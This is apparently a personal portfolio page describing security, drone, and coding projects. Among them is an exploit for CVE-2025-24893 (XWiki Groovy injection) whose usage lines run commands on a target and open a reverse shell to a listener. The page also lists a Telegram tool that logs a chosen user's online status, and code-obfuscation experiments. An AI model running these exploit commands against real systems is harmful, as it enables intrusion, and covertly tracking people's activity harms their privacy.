Selected works, scripts, and dark experiments with details on purpose and status.
Stages
Identified the need for a portable multi-UAS COP amid rising drone activity and gaps in Remote ID visibility. Defined a system to fuse telemetry, visualize tracks, detect conflicts/geofence violations, and produce tamper-evident flight logs.
Frontend map and services run with simulated/SITL telemetry. Conflict/geofence alerting and logging paths exercised. Awaiting funding for drones.
Stages
Katoolin forks were outdated; set goals for a simple Ubuntu-first installer with alternate install paths.
Built a first-pass CLI skeleton outlining categories, DKMS/alternative install hooks, and repo toggles, untested.
Plan to resume in start of 2026.
Stages
Aligned on Poulsbo client needs, scoped how to reduce accidental endpoint leaks, and mapped regulated data risks for laptops and common egress paths.
Completed docs outlining monitoring approach, policies, and demo prep, including how to leverage cloud compute for the proof-of-concept walkthrough.
Beginning programming/implementation.
Stages
Scoped a probability-focused name-encounter project for MATH 341.
Built an approved backend using the 2020 U.S. Census API to compute encounter probabilities.
Implemented a minimal React UI for state selection, name input, and results display.
Expanded features with multi-name inputs, probability modes, and early simulations/generators.
Demoed a live S3-hosted build with end-to-end functionality in class.
Beta running; development paused.
Details
Small-team drone COP prototype that maps multi-sUAS telemetry on one laptop with conflict and geofence alerts plus after-action review.
Details
Katoolin refresh that keeps Ubuntu stable while installing Kali tools with guardrails and modern paths.
Details
WWU project for Poulsbo clients to curb endpoint data leaks with monitoring policies, egress controls, and audit-ready reporting.
Details
Probability explorer using Census 2020 lookups to estimate name encounter odds in a React UI.
Input first (and/or last) name and pick a state. Demo uses nickname "Max."
Shows results for "Max" in Washington State.
Set a percentage chance to meet a "Max" anywhere in Washington State, plus the encounters needed.
Multi-name option filled with several common names, showing combined stats and comparisons.
Details
Python tool using Telethon to log a target user's online/last-seen changes with rate-limit handling and log rotation.
* Created for educational and statistical use only, this project demonstrates how to monitor Telegram activity with the Telethon API. Do not use it for unauthorized tracking. Users are responsible for complying with all laws and terms of service. I assume no liability for misuse or legal consequences.
Details
Obfuscation sandbox for testing how code changes affect readability and analysis.
Details
Go obfuscation concept built around garble with extra transformations for experimentation.
Details
Team project building a malware analysis tool with a Windows-focused UI for triage, labeling, and repeatable reports.
Details
Python PoC for CVE-2025-24893 that injects Groovy via the SolrSearch RSS endpoint and prints consistent markers to confirm vulnerable builds.
* Authorized environments only. Educational use.
pip install requests
# Title: "Payloads" ---> cmd payloads
python3 xwiki_solrsearch-rce.py --target http://wiki.example.tld cmd --cmd "whoami"
# Title: "Payloads" ---> rshell payloads
nc -lvnp 4444
python3 xwiki_solrsearch-rce.py --target http://wiki.example.tld rshell 10.10.14.23 4444
Details
Bash installer that builds the Realtek RTL88x2BU driver on Ubuntu with DKMS, handling dependencies and verification.
git clone https://github.com/torjan0/rtl88x2bu-ez-installer.git
cd rtl88x2bu-ez-installer
chmod +x install-rtl88x2bu.sh
sudo ./install-rtl88x2bu.sh
lsmod | grep 88x2bu
ip link show
sudo reboot # optional but recommended
Run the installer with sudo, then verify the module + interface before rebooting.
Driver source: morrownr/88x2bu by morrownr · Script author: Maks ( @torjan0 ).
Details
Bash tool that reads /proc to compare processes with a difference metric, supporting filtering, sorting, exports, and monitoring mode.
git clone https://github.com/torjan0/Advanced-Process-Comparsion-Tool-in-Bash.git
cd ProcessCompareBash
chmod +x process_compare.sh
./process_compare.sh --min-memory 10000 --cmd-filter sshd --sort cpu -O desc --all --summary
./process_compare.sh --interactive --refresh 5 --alert --output-format html --file reports/pair.html
./process_compare.sh --parallel -u root --output-format json > compare.json
Pair filtering + reporting flags highlight memory/CPU twins fast—flip --output-format for exports.